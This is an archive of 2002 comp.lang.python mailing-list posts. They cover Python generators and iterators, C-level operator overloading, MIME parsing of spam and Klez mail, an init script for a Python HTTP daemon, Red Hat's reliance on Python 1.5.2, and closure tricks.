http://www.python.org/doc/Copyright.html, > but that doesn't seem as complete or helpful as I'd like for a refereed > journal. the original CWI reports are often used as references, e.g: "G. van Rossum, Python tutorial, Technical Report CS-R9526, Centrum voor Wiskunde en Informatica (CWI), Amsterdam, May 1995." also see: http://www.python.org/~guido/Publications.html fwiw, citeseer doesn't appear to have any citations for CNRI or PythonLabs editions of those documents. I'm not sure that should stop you from citing them, though... </F> From look at replyto.address.invalid Thu May 23 20:01:20 2002 From: look at replyto.address.invalid (Greg Ewing) Date: Fri, 24 May 2002 12:01:20 +1200 Subject: Extending: overloading operators (e.g. for a vector class) References: <Xns9216288B48C8Fcliechtigmxnet@62.2.16.82> <3CEC5A54.F6EA2C82@replyto.address.invalid> <Xns9217CD4165FA1cliechtigmxnet@62.2.16.82> Message-ID: <3CED82D0.EF5E0C67@replyto.address.invalid> Chris Liechti wrote: > > can you give me a hint where such thing as the NEW_STYLE_NUMBER flags are > documented? I don't know. It might not be documented anywhere yet -- this is all fairly new stuff. By the way, there's one difference I should perhaps have mentioned between the Python and C versions of operator overloading -- in C there are no separate "reversed" versions of the operator methods. For example, if you do x*y and x doesn't have an nb_multiply method, then y.nb_multiply(x, y) is done. So, you have to be prepared for the second operand being "self" instead of the first one, if you see what I mean. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand http://www.cosc.canterbury.ac.nz/~greg From aleax at aleax.it Sat May 11 05:21:09 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 09:21:09 GMT Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> <abidj2$l6b$1@slb6.atl.mindspring.net> Message-ID: <9o5D8.46853$zW3.570500@news1.tin.it> Andrew Dalke wrote: > Bob Horvath: >>How would you suggest writing a generator that spits out 5 line chunks >>of a file at a time? >> >>How would you do it without generators? > > David Eppstein answered the first. > > As to the second, here's an (untested) example ... > You can see, it's rather more complicated than using yield. It's a _bit_ more complicated because you have to construct an instance and stash away the state, but need be novere as complicated as in your example, I think. > class FiveAtATime: > def __init__(self, file): > self.file = file > def next(self): > # To iterate manually, and allow iter > s = self.file.readline() > if not s: > return None > data = [s] > for i in range(4): > data.append(self.file.readline()) > return data Method next should raise StopIteration when done, not just start returning an unending stream of None. That's easiest to obtain by using .next() calls on an iterator for the file (which also lets the class wrap any iterator or iterable, not just a file) and propagating the StopIteraton to the caller. If one must return the 'trailing incomplete quintuplet' (the easier solutions snip it off) this can still be arranged, of course. One interesting way of arranging it might be through another general-purpose adapter (untested): def iterpad(iterorseq, N=5, filler=None): baseiter = iter(iterorseq) while 1: yield baseiter.next() for i in range(N-1): try: next = baseiter.next() except StopIteration: next = filler yield next This wraps an iterator so as to guarantee the wrapped version will yield a number of times that's a multiple of N -- padding, if need be, with copies of 'filler'. So, the buncher-by-5's would simply use iterpad(file) rather than iter(file) to get the iterator it's bunching, and no need to worry about what happens when bunching sequences whose number of items is not a multiple of 5. The solution might then be on the lines of (untested): class N_at_a_time: def __init__(self, file, N=5, pad=True): if pad: self.iter = iterpad(file, by) else: self.iter = iter(file) self.R = range(N) def next(self): return [self.iter.next() for i in self.R] def __iter__(self): return self as the equivalent of the generator: def N_at_a_time(file, N=5, pad=True): if pad: biter = iterpad(file, by) else: biter = iter(file) R = range(N) while 1: yield [biter.next() for i in R] So, yes, the generator IS simpler, but the difference isn't really all that huge. > def __getitem__(self, i): > # To allow use in for loops No need -- "being an iterator" in itself allows use in for loops in Python 2.2. __getitem__ was only needed for the purpose in 2.1 and earlier, where iterators didn't exist. > def __iter__(self): > # For new-style iters > return iter(self, None) The two-arguments for of iter requires a callable as its first argument, and proceeds much like: def iter2a(callable, sentinel): while 1: x = callable() if x==sentinel: break yield x (note that "falling off the end", or a 'return', raises StopIteration). So, this form of iter is not appropriate here. Generally a class whose instances are meant to BE iterators, as here, would just 'return self' in method __iter__. Alex From max at alcyone.com Sun May 5 18:01:12 2002 From: max at alcyone.com (Erik Max Francis) Date: Sun, 05 May 2002 15:01:12 -0700 Subject: Choose Your Own Adventure References: <ab3avs$84e$1@nets3.rz.RWTH-Aachen.DE> <3CD5A2DB.F9FBF976@alcyone.com> <ab49u0$8df$1@nets3.rz.RWTH-Aachen.DE> Message-ID: <3CD5ABA8.E37F1ED8@alcyone.com> Philipp Lenssen wrote: > Choose-Your-Own-Adventure, or CYOA, is the common term used all around > the > web and in newsgroups to title this type of game. Google returns about > 14,900 matches to this phrase, and I suppose only some are referring > to > anything trademarked. If it's a crime then this alone is no moral > argument > in my favor, but a very pragmatic one -- if anybody's sued, then they > will > have to take on a whole lot of people. It is true that trademarked terms that come into household usage will lose their trademark after litigation. This, however, has not happened with "Choose Your Own Adventure" (at least not to my knowledge). But do you really want to be the one to litigate this issue? Wouldn't it be easier to choose something that is free of trademark violation issues? -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From aahz at pythoncraft.com Fri May 10 11:46:08 2002 From: aahz at pythoncraft.com (Aahz) Date: 10 May 2002 11:46:08 -0400 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020697330.27346.python-list@python.org> <abedn5$9tc$1@panix1.panix.com> <mailman.1020973101.22346.python-list@python.org> <3CDAF2A7.2DADEB14@fnal.gov> Message-ID: <abgq00$ne5$1@panix2.panix.com> In article <3CDAF2A7.2DADEB14 at fnal.gov>, David J. Ritchie <ritchie at fnal.gov> wrote: >Gerhard H?ring wrote: >> >> Aahz, I don't get it why you're insisting on this. Would "refactoring" >> ring any bells? >> >> Yes, I do it myself, and yes, it's a non-issue with vim. Most of my experience with refactoring has been essentially in-place (WRT the way one edits, at least). >In any case, I am reluctant to drag everyone through my imperfect >programming practices as useful as I find them....my main point was that >if context sensitivity is considered to be a difficulty in understandability >in programming languages (of which Perl has some) then (in the spirit >of being able to argue both sides of the question as a way of proving >that one has thought through the issues), it seems that Python has a >context sensitivity difficulty in the area of the treatment of tabs >as identifying blocks of code. I guess I was carping at your point because I see it as an issue in most programming languages (I'm tempted to say "all", but I know better than to make foolish overgeneralizations ;-): how does one suitably indicate blocks of code for editing? Python's syntax makes the approach to the issue a bit different, but it's fundamentally the same issue. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "usenet imitates usenet" --Darkhawk From lac at strakt.com Fri May 17 02:54:57 2002 From: lac at strakt.com (Laura Creighton) Date: Fri, 17 May 2002 08:54:57 +0200 Subject: OT: Crazy Programming In-Reply-To: Message from Greg Ewing <greg@cosc.canterbury.ac.nz> of "Fri, 17 May 2002 11:56:43 +1200." <3CE4473B.6E50E539@cosc.canterbury.ac.nz> References: <mailman.1021483146.13317.python-list@python.org> <3CE2F9D3.542CE895@cosc.canterbury.ac.nz> <mailman.1021510410.32402.python-list@python.org> <3CE4473B.6E50E539@cosc.canterbury.ac.nz> Message-ID: <200205170654.g4H6svrW005873@theraft.strakt.com> > Laura Creighton wrote: > > > > The ability to rank something and whether it is objective or not are > > independent concepts. > > But for the ranking to be objective, it has to be > independent of the person doing the ranking. > > > I could find the 3 best, and the 2 worst with no trouble, and there > > was broad consensus in the room about this. There was disagreement > > as to the precise ranking, however. > > Which says to me that the ranking process is *not* > completely objective. Not because the process involves > people using their senses, but because the result > depends on who is doing it. We're in agreement here. What I am objecting to is the notion that because something is subjective it cannot be measured. When you are having the subjective experience of champaigne tasting, you are measuring the quality of the champaigne. And you can rank them. And as you get more skilled in Champaigne tasting, you will find that your rankings tend to converge with other people who are skilled champaigne tasters. This is called 'developing one's taste' and it is a universal human activity. Programming works the same way - while one can talk about the qualities that make a program elegant, thats is not the same thing as the subjective experience you got when you looked at Holger's concise open-or-closed string detector. We went 'wow, that's elegant' because, after all is said and done ... it's elegant. Laura From pinard at iro.umontreal.ca Wed May 29 22:17:23 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 29 May 2002 22:17:23 -0400 Subject: The email package and KLEZ mails In-Reply-To: <acvmf3.t8.1@kserver.org> References: <oqn0ukzfsu.fsf@titan.progiciels-bpi.ca> <mailman.1022585747.21423.python-list@python.org> <acvmf3.t8.1@kserver.org> Message-ID: <oqptzel6q4.fsf@carouge.sram.qc.ca> [Sheila King] > [Anthony Baxter] > > [Fran?ois Pinard] > > > In my experience, incorrect MIME structure is one of the numerous > > > hints about mail being SPAM. I do not remember a single false positive. > > I wish. I have to deal with end-user email, and trust me, it's not all > > spam. > I concur with Anthony. I have written an email filter package using the > email module and if you use the strict Parser class included in that > module, it does throw away too much good email (because any good mail > thrown away is too much). Maybe the `email' package is stricter than the various MIME processing tools that were in Python 1.5.2 in still exist in more recent versions, but I would be tempted to think they are of comparable strictness. I do not really know. The proverb ways that "alike people get together", it might explain why I do not see more problems: most of my correspondents have mailer agents which do a fair job at MIME generation. And when MIME mistakes happens, it is usually sufficient to raise the subject with my correspondents, who are usually happy to get the problem solved at their end. Often (but not necessarily), badly structured messages come from people who do not care much. Otherwise, they would have set up themselves better. As I much prefer people who care, from my viewpoint, there is a significant correlation between a message being MIME-erroneous and a message not being worth much interest. > Moreover, as I've mentioned in other posts and email correspondence, > if you're writing software for end users, you really can't just > tell them: "Oh, all those mails that caused errors...they were just > non-RFC compliant. Probably SPAM or virus." If you are writing filters for everybody, you are probably right. When I write filters for my friends or for myself, in my experience, careless MIME may be filtered out as SPAM, and we do not loose much in practice :-). > Secondly, why is it that the three other mail readers I use (Agent, > Pegasus, and PocoMail) are all able to parse these messages? I also > agree with the idea that applications must be strict in what they write > and liberal in what they accept. This is a good principle, but only when kept within reasonable bounds. Users should be on the side of being strict, and applications should be on the side of being liberal. Users might suffer uselessly by being overly ascetic, applications might miss their goal through unlimited friendliness. For example, I expect compilers to raise diagnostics and help me at being strict, because being overly liberal for a compiler is just not helpful. Another example, a sad one, is the messy state of HTML all around us, it comes from browsers having been by far too liberal, and for too long. If mailer agents are very lenient to MIME mis-formatting, they actively prevent progress. They do not really help it, as they trigger confusion. Moreover, by implementing MIME poorly, they throw discredit on a good idea. MIME standards are not that hard to read, you know. It is a mystery to me why some mail agents mangle the MIME they generate, or miss to assemble it conveniently, in the spirit of the standards, at presentation time. > I have written a "smart parser" class that I am using in my email > filter. I use this class instead of the Parser class provided with the > email module. I provide the code below for all interested parties. > [...] Code follows the signature. Enjoy, I'm saving it for possible later use! Thanks for providing this... -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From Gregory_Engel at csgsystems.com Wed May 29 18:09:53 2002 From: Gregory_Engel at csgsystems.com (Engel, Gregory) Date: Wed, 29 May 2002 17:09:53 -0500 Subject: Running a script as a daemon at boot time Message-ID: <C04152CE777D294CBC46FD3E24DD329A98A9A4@omasrv06.csg.csgsystems.com> I've a script which in part serves as an HTTP server. I can run this as a background process when logged on as myself. I need to find a way to have the script run as a daemon at boot time. I have written a script for /etc.rc.d/init.d and it responds well to start/stop commands. However, when a GET request arrives at the server, the process dies without generating an error (at least that I've been able to trap.) The do_GET is as follows: def do_GET(self): self.ServerLog('Requested GET') htmlpage = '<html><head>' htmlpage = htmlpage + '<title>Green Bar Queue Processor' htmlpage = htmlpage + '' htmlpage = htmlpage + '

Green Bar Queue Processor - ' + time.strftime("%a, %d %b %Y %H:%M:%S", time.localtime(time.time())) + '


' htmlpage = htmlpage + '' notfound = 'File not found.' if self.path == "/": self.ServerLog('Mark 1') # This line gets logged... self.send_response(200) self.ServerLog('Mark 1') # This line DOES NOT get logged... self.send_header("Content-type", "text/html") self.end_headers() self.wfile.write(htmlpage) else: self.send_error(404, notfound) When the background process is initiated from the command line, this error does not occur and the daemon performs as needed. Why would this fail as a boot (inet.d) initiated script and not from the command line? The startup script is as follows: ---- start gbqp--- #!/bin/sh # # Startup script for GBQueueProcessor.py # # processname: python # pidfile: /var/run/gbqp.pid # config: GBQueueProcessor.conf # Source function library. . /etc/rc.d/init.d/functions [ -f /usr/local/bin/GBQueueProcessor.py ] || exit 0 RETVAL=0 start() { echo -n "Starting gbqpd: " daemon /usr/local/bin/gbqpd echo touch /var/lock/subsys/gbqpd return $RETVAL } stop() { echo -n "Shutting down gbqpd: " GBQPDPID= GBQPDPID=$(cat /var/run/gbqpd.pid) kill $GBQPDPID echo rm -f /var/lock/subsys/gbqpd /var/run/gbqpd.pid return $RETVAL } # See how we were called. case "$1" in start) start ;; stop) stop ;; status) GBQPDPID= GBQPDPID=$(cat /var/run/gbqpd.pid) echo -n "Checking for gbqpd, PID is : " $GBQPDPID echo ;; restart) stop start ;; *) echo "Usage: $0 {start | stop | restart | status}" exit 1 esac exit 0 ---- end gbqp--- ---- start gbqpd--- #!/bin/sh exec python /usr/local/bin/GBQueueProcessor.py ---- end gbqpd--- C'ya, Gregory Engel Senior Software Engineer Professional Services CSG Systems, Inc. 9555 Maroon Circle Englewood, CO 80112 Voice: 303-200-3426 ???????????????????? My other computer is spongy gray matter. From phr-n2002a at nightsong.com Wed May 8 01:30:28 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 07 May 2002 22:30:28 -0700 Subject: Has Red Hat helped or hurt? References: <4pbhdu4t69e6eqt3q3l4q72odo0c9ufo9p@4ax.com> Message-ID: <7x1ycnw6iz.fsf@ruckus.brouhaha.com> Tim Roberts writes: > Red Hat 7.x uses Python 1.52 for many of its configuration and > administration activities. Ordinarily, I'd say this was a Good Thing for > the betterment and furtherance of Python. > > However, it makes it deucedly difficult to upgrade away from 1.52. If one > upgrades /usr/bin/python to be 2.x, all of Red Hat's custom configuration > scripts are no longer found in site-packages. I don't think it's a fair question. Red Hat is just another Python user and the implied criticism of them for using 1.5.2 is unreasonable. 1.5.2 was the latest and greatest Python version when the Red Hat 7.x series began, and per perfectly reasobale policy, Red Hat is staying with it for as long as 7.x lasts. Red Hat 8.x will probably use Python 2.2 or whatever is current when 8.0 comes out. It's also bogus to speak of Python 1.5.2 as some ancient dinosaur that should be dead and gone. It's just 2 years old or so. It's quite normal for people to never upgrade software except when they buy new computers, and to buy new computers about once every 2 hardware generations. By Moore's law, a hardware generation is about 18 months. So there's nothing stone-age about running 3 year old software. Python 1.5.2 should be considered outdated but not obsolete. It's an error to needlessly break compatibility with it. From marklists at mceahern.com Thu May 2 14:54:36 2002 From: marklists at mceahern.com (Mark McEahern) Date: Thu, 2 May 2002 13:54:36 -0500 Subject: module access In-Reply-To: <2046B6DE-5DFD-11D6-A548-003065428126@pacbell.net> Message-ID: [bob ackerman] > thanks, but how else would you set up a link to a module? > how else get to that module using a link? The short answer is: Don't think in terms of linking to a module. ;-) Have a single cgi that processes all incoming requests and dispatches them appropriately. That way, your URL space is decoupled from your package layout; both of which are decoupled from your presentation. > anyway, i am thinking this is really an html problem, not python's. > i need to tell the browser what directory is current so it knows how to > handle the link. This might help: http://www.w3.org/TR/REC-html40/struct/links.html#h-12.4 Cheers, // mark From rjones at ekit-inc.com Sun May 19 20:20:00 2002 From: rjones at ekit-inc.com (Richard Jones) Date: Mon, 20 May 2002 10:20:00 +1000 Subject: Gadfly-1.0rc1 Errors In-Reply-To: References: Message-ID: <200205201020.00929.rjones@ekit-inc.com> On Mon, 20 May 2002 10:06, Andy Todd wrote: > Better late than never, I've just tested the fixes and all is now working. > > From the latest CVS code; > > """ > E:\Work\gadfly>python run_tests > not running kjbuckets C module test > .................................................................. > ---------------------------------------------------------------------- > Ran 66 tests in 54.369s > > OK > """ Thanks for checking it Andy! :) Richard From aahz at pythoncraft.com Thu May 30 11:30:27 2002 From: aahz at pythoncraft.com (Aahz) Date: 30 May 2002 11:30:27 -0400 Subject: What does Python offer? References: Message-ID: In article , news wrote: > >The following has a number of links to articles describing what is special >about Python: http://www.python.org/doc/Intros.html > >My favorite among these is Eric Raymond's "Why Python?" You should >definitely read it. Unfortunately, www.linuxjournal.com wasn't responding yesterday, and it's not responding today. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "In the end, outside of spy agencies, people are far too trusting and willing to help." --Ira Winkler From shalehperry at attbi.com Sun May 26 00:58:05 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 25 May 2002 21:58:05 -0700 (PDT) Subject: Another OOP question. In-Reply-To: Message-ID: On 26-May-2002 SA wrote: > The following is an example class from a tutorial: > > class Message: > def __init__(self, aString): > self.text = aString > def printIt(self): > print self.text > > Let me see if I am understanding the structure correctly. __init__ is used > first to initialize the class. Self refers to the class. Astring is the > variable passed to the class from code outside the class. PrintIt is called > from outside code to print the variable loaded in the class. > > Ok. Given that this is an overly simplistic explanation, is this the correct > interpretation of this class? > > Thanks. I hope I'm finally getting OOP. > that is about it. We need to clean up some terms though. foo = Message("this is a test") 'foo' is an instance of the class Message. In the __init__ method 'self' refers to the *instance* of a class not the class itself. It is the OOP equivalent of "my __ is __", i.e. self.name "my name is __". printIt is usually referred to as a 'method' of class Message. So someone refers to it as 'and then you call the printIt method of class Message to retrieve the text'. You may also see some texts refer to calling a method as 'sending a message to the class'. and to ties this into python, the Message class looks a lot like the Exception class. From aleax at aleax.it Wed May 1 11:13:14 2002 From: aleax at aleax.it (Alex Martelli) Date: Wed, 01 May 2002 15:13:14 GMT Subject: os.environ.copy()['COPY_HUH'] = "not really" References: <20020430152022.I17488@unpythonic.net> <20020430184231.C30307@ibook.distro.conectiva> Message-ID: Terry Reedy wrote: ... > Perhaps os._Environ should have a .dict() method (if is does not now) > to do the conversion. dict(os.environ) seems a better solution to me. It's a general way to make a dictionary from any generic mapping, after all. Alex From donn at u.washington.edu Mon May 20 12:19:33 2002 From: donn at u.washington.edu (Donn Cave) Date: 20 May 2002 16:19:33 GMT Subject: ANSI colored output: How to determine how python was called? References: Message-ID: Quoth Pearu Peterson : | In my python program I want to output ANSI colored text only if the | terminal where the program was executed can support ANSI colored text. In | all other cases the program should output ordinary text. | | My initial approach was to check the TERM environment variable, for | example, | | if os.environ.get('TERM',None) in ['rxvt','xterm']: | print '\x1b[31mHello!\x1b[0m' # red Hello! | else: | print 'Hello!' | | But then I found that when this program is called through | | commands.getstatusoutput(..) | | and its friends, then the above test fails in the sense that red `Hello!' | is printed but I would like to have here an ordinary `Hello!'. | | So, my question is: | | Are there alternative (hopefully better) ways to decide whether the | output "device" of python stdout supports ANSI colored text or not? The problem you encountered with commands.getstatusoutput() is easily solved - if sys.stdout.isatty() and os.environ.get(... As for the other problem, you'll never account for all the color terminal emulators that way - many of them will show up as vt102, or who knows what. The original "xterm" was not color capable. It might be nice to pull something else out of the environment too, for the sake of people who are missing the boat on TERM - maybe LS_COLORS, which is already used by GNU ls, or something specific to your application. Donn Cave, donn at u.washington.edu From iwaters at btclick.com Mon May 20 12:14:28 2002 From: iwaters at btclick.com (ian) Date: Mon, 20 May 2002 17:14:28 +0100 Subject: finding a substring References: Message-ID: cheers that sorted it! "ian" wrote in message news:cB6G8.72053$7R.78769 at NewsReader... > > hi im writing the a spam checking routine for > my mail server and i having basic problems > checking for a sub string in the message > > the MESSAGE var is a line from a socket > and the line var is a line from a file > the routine wont find any substrings > > any help would be great > cheers > > print "Checking against spam file" > sfile = file('spam.txt','r',1024) > > while 1: > line = sfile.readline(1024) > if line == '':break > else: > print MESSAGE > errorval = MESSAGE.find(line) > print str(errorval) > if errorval == -1: > print "Message OK" > else: > print "Message not OK" > > print line > sfile.close() > > > From johnroth at ameritech.net Sun May 26 08:26:16 2002 From: johnroth at ameritech.net (John Roth) Date: Sun, 26 May 2002 08:26:16 -0400 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> Message-ID: "Martin v. Loewis" wrote in message news:m33cwfr9d1.fsf at mira.informatik.hu-berlin.de... > "John Roth" writes: > > > > > Could the python interpreter be equipped with a mode that would > > > > allow it to emulate past interpreters? > > > > No, that won't be possible. It is easy enough to install multiple > > > versions of the interpreter, though. > > > Oh, come on now. Anything is possible, the question is whether it is > > worth doing and (this being a volunteer effort) whether anyone wants > > to do it. > > To fully emulate a past implementation, you'd have to know *all* it's > features. If you fix a bug, you somehow need to be able to preserve > the old library behaviour. I see no way to do this, except > incorporating old copies of the library. Same for the interpreter > itself, so you would also need to include copies of the old > interpreter. Do you really want to preserve incorrect behavior? Code that depends on bugs is arguably incorrect code. > Doing so woul mean that the directory structure of the library will > need to change - such changes are detectable by applications, so full > backwards compatibility would not achieved. You'd certainly need something to identify versions. This could be handled by a compatibility module. > > Likewise, the mere introduction of that "mode" would cause that Python > changes its behaviour, and might cause existing applications to break. "Might" isn't the same as 'would.' > So if you want "full emulation", I maintain that this is not possible > to implement. > > If you want "partial emulation" - this feature is available today; new > versions execute much old code correctly. However, that's not what the original poster asked for. John Roth From skip at pobox.com Wed May 29 07:31:41 2002 From: skip at pobox.com (Skip Montanaro) Date: Wed, 29 May 2002 06:31:41 -0500 Subject: Browsing a big mailbox offline In-Reply-To: <2002529-10584-626303@foorum.com> References: <2002529-10584-626303@foorum.com> Message-ID: <15604.48157.754452.207683@12-248-41-177.client.attbi.com> Sebastien> I'm looking for a convenient way for browsing *offline* the Sebastien> marvellous comp.lang.python archive (a nice 397 Mb mailbox Sebastien> file available at Sebastien> http://mail.python.org/pipermail/python-list/ ) Sebastien> I found no news client capable of reading/importing a raw Sebastien> unix mailbox. Does anybody know a news client capable of Sebastien> this ? (platform : Windows) If it's a unix mailbox file, why not use a mail reader to browse it? Contrary to view most unix people have of Windows mail software, I imagine there are actually some decent choices available. Eudora comes to mind. You can probably also use VM under Emacs or XEmacs (though you might want to split the file into chunks of 20MB or so unless you have gobs and gobs of memory). -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From usenet at REMOVETHISPHRASEblacklettersoftware.com Sat May 25 12:56:23 2002 From: usenet at REMOVETHISPHRASEblacklettersoftware.com (Richard Biffl) Date: Sat, 25 May 2002 12:56:23 -0400 Subject: Off Topic, But List Related -- Tired of Getting Spammed Via The Python List? References: Message-ID: Good idea using different addresses so you can trace your spam (I do the same thing; it's a good use of a domain name). To avoid the spam in the first place, you may want to change the address to something like python at DONTSPAMgbronline.com. Humans will be able to see the correct address, and the address-harvesting bots, at least the dumb ones, will be thwarted. Richard "Peter F. Ferris" wrote in message news:mailman.1022342921.19946.python-list at python.org... > > I'm not sure if this is happening to everyone or just myself, but for the > 4th time in approximately two-three weeks (since I've joined the Python.org > list), I been spammed because I'm a list member. From runyaga at noeggsorspam.runyaga.com Fri May 24 15:02:20 2002 From: runyaga at noeggsorspam.runyaga.com (Alan Runyan) Date: Fri, 24 May 2002 19:02:20 GMT Subject: Zope Bible ?? References: Message-ID: <07wH8.128176$Q42.6542907@typhoon.austin.rr.com> > I want to get some more understanding of zope and found the zope bible > at amazon. if focuses on produkt development with python. i believe this to be the best zope book so far. > but zope 3 is already in development. > > does anybody know if this book is good and if makes sense to buy > it when zope 3 is already in development?? > will the book still be useful then ? yes. Zope3 will no be around for quite some time. The technologies you need to arm yourself with: Python, PageTemplates, ZODB, and general ZOPE Awareness. ~runyaga From martin at v.loewis.de Thu May 9 13:59:11 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 09 May 2002 19:59:11 +0200 Subject: threaded urllib.urlretrieve() confusion References: Message-ID: Michael Mell writes: > How do I get each doRequest() to begin its process as soon as I call > thread.start_new_thread (doRequest, (idStr, )) That depends on your operating system's scheduling policy, and somewhat on the Python version. With Python 2.2, on pthread systems that have PTHREAD_SCOPE_SYSTEM, this attribute is enabled, requesting from the system that it immediately starts scheduling new threads, and that they content for the processor with all other processes. Whether the OS does so is still the system's choice. If you want to ask the system more strongly to schedule your threads, you can add a time.sleep call after creating a thread (say, for 0.1 seconds); this should cause the system to switch threads. Whether the system switches to your thread is still the system's choice. If you absolutely need the thread to start execution, you need to add a Condition. Make the creating thread wait on the condition, and make the new thread notify the condition. Then you can be sure that the new thread has started. Whether the system continues to run your thread after it notified the condition is still the system's choice. If you need specific order of execution, don't use threads. HTH, Martin From henk.derudder at barconet.com Wed May 15 03:29:32 2002 From: henk.derudder at barconet.com (henk.derudder at barconet.com) Date: Wed, 15 May 2002 07:29:32 GMT Subject: Python install on Windows References: <3ce203b1.682640671@news.skynet.be> Message-ID: <3ce20dd4.685235640@news.skynet.be> On Wed, 15 May 2002 09:02:17 +0200, "Thomas Heller" wrote: >> I downloaded the installer for Python 2.2 from www.python.org >> I just wondered whether the source files for that installation process >> are available and if so, where I can find/get them. I could use it to >> write an unattended installer to install just the interpreter and its >> libraries. > >They are contained in the source distribution. AFIAK, there are a >pcbuild.dsw file (which requires the commercial Wise InstallBuilder), and the >start of an installation script for the free Inno-setup. > >Thomas > Thanks, can you tell me what the free Inno-setup is all about? Can I find the source distribution you mentioned on www.python.org? And what does AFIAK stands for? Henk > From Gabe.Newcomb at noetix.com Wed May 8 20:45:15 2002 From: Gabe.Newcomb at noetix.com (Gabe Newcomb) Date: Wed, 8 May 2002 17:45:15 -0700 Subject: unexpected os.system behavior on windows NT Message-ID: <0C7CA8D8DF75494EB09AB6016990107F011B1B60@NOXMAIL.noetixad.com> For questions regarding command line stuff on Windows, check out www.technet.com. I get really irritated because cmd.exe has very little documentation, but I've been able to find a lot at this site. Good luck! Gabe -----Original Message----- From: jepler at unpythonic.net [mailto:jepler at unpythonic.net] Sent: Wednesday, May 08, 2002 5:39 PM To: Thomas Heller Cc: python-list at python.org Subject: Re: unexpected os.system behavior on windows NT On Wed, May 08, 2002 at 09:34:41PM +0200, Thomas Heller wrote: > > os.system seems to malfunction when the command name and another > > argument are both quoted on the commandline. All these commands > > run "as expected" when executed directly in a command window. > > I've posted this before... There are strange rules of cmd.exe regarding > quotes, but 'cmd /?' on Win2k finally documents them. Thanks .. this is something that's always frustrated/puzzled me. I think there are two pieces missing still, which must be documented somewhere -- how does an exec* argument list get turned into a command line? -- how does the target program parse that back into an argc/argv list? I started to get the results I expected as soon as I used an 8.3 name for the executable and quoted any argument with whitespace (not handling any more esoteric characters properly), but I hear that some versions of windows disable 8.3 compatability names. I don't know how I'd refer to "C:\Program Files\Software Company\Product Name\Nose Monkeys.exe" without them, though.. I wish somebody I worked with Really Understood (TM) NT. Jeff -- http://mail.python.org/mailman/listinfo/python-list From nookieNO_SP_AM at online.no Sat May 25 12:45:22 2002 From: nookieNO_SP_AM at online.no (Erlend J. Leiknes) Date: Sat, 25 May 2002 16:45:22 GMT Subject: date of file References: <20020526.023923.2130794395.3231@iprimus.com.au> Message-ID: go to www.python.org, and read the docs on the os module I belive its os.file.stat("file") "Occean" wrote in message news:20020526.023923.2130794395.3231 at iprimus.com.au... > I have an directory which hold some file. Now i have to list all of the > file according to the date the that the file created. For example, i > want to display all of the file from the date 24/05/2002 until now. How can i do > that, can anyone show me From maxm at mxm.dk Mon May 13 16:52:20 2002 From: maxm at mxm.dk (Max M) Date: Mon, 13 May 2002 22:52:20 +0200 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> <3CDF9BFA.5030107@mxm.dk> Message-ID: <3CE02784.3090202@mxm.dk> Andrew Dalke wrote: > Max M: > >># Best practice (519 chars) >>def listView(listOfObjects): >> result = [] >> a = result.append >> for object in listOfObjects: >> if object.objectType in ['folder', 'content holder']: >> a('') >> else: >> a('') >> a('%s
' % object.title) >> a('%s' % object.summary) >> a('[View]' % object.id) >> a('[Edit]
' % object.id) >> return ''.join(result) > > > Why is this 'best practice'? At the very least, I would have used > "append = result.append" because "a" can be confused (in an HTML context) > for the request to do an "a" tag Oh ... you misunderstand my goal with this "game". The aim is not to do things absolutely correctly, but to get the same result from different versions of the code. Trying to refactor it with different aprocahes to get a feel for what works in different situations. By best practice I only meant that it was the best overall approach for refactoring this piece of code I could think of at the time. >The result makes it much easier to see how the HTML looks in one go >rather than building it up through many Python commands. Yes, your aproach certainly has some merrit. regards Max M From bokr at oz.net Thu May 16 21:01:17 2002 From: bokr at oz.net (Bengt Richter) Date: 17 May 2002 01:01:17 GMT Subject: how to write function that returns function References: <4f52f844.0205141503.40000c50@posting.google.com> <4f52f844.0205150815.631b3415@posting.google.com> <4f52f844.0205151504.181f5cf0@posting.google.com> Message-ID: On 16 May 2002 23:52:47 GMT, bokr at oz.net (Bengt Richter) wrote: >On 15 May 2002 16:04:05 -0700, spam at bugbear.com (Paul Graham) wrote: > >>> You can't directly translate that. Access to variable of enclosing >>> scopes is read only (except in the case of global statements, but that >>> doesn't help here). >> >>It looks as if the closest thing would be something like this, >>which a Python expert sent me: >> >>def foo(n): >> s = [n] >> def bar(i): >> s[0] += i >> return s[0] >> return bar >> >>Although you can't modify variables from outer scopes, you can >>modify *parts* of them (which to me seems like the same thing...) >> >>The reason this problem seems kind of artificial is that I don't >>need to solve this actual problem. I heard that recent Python >>versions had added more support for lexical closures, and was >>curious how well Python works for the type of programming in >>Structure and Interpretation of Computer Programs; this is kind >>of a hello_world of that genre. (It's not a homework problem, >>I swear.) >> >>Incidentally, here is Perl 5 code someone sent me for this case: >> >>sub foo { >> my ($n) = @_; >> return sub {return $n += $_[0]}} >> > > >>> foo = lambda y:([x for x in [[y]]], (lambda: (x.append(x.pop()+1),x[0])[1]))[1] > >>> f=foo(20) > >>> f() > 21 > >>> f() > 22 > >>> f=foo(-4) > >>> [f() for x in 'x'*7] > [-3, -2, -1, 0, 1, 2, 3] > > >;-) > > Since [].append returns None, we could use short cut eval rules to prog a tiny bit more clearly: >>> foo = lambda y:[[x for x in [[y]]], lambda:x.append(x.pop()+1) or x[0]][1] >>> f=foo(4) >>> [f() for x in xrange(5)] [5, 6, 7, 8, 9] Better 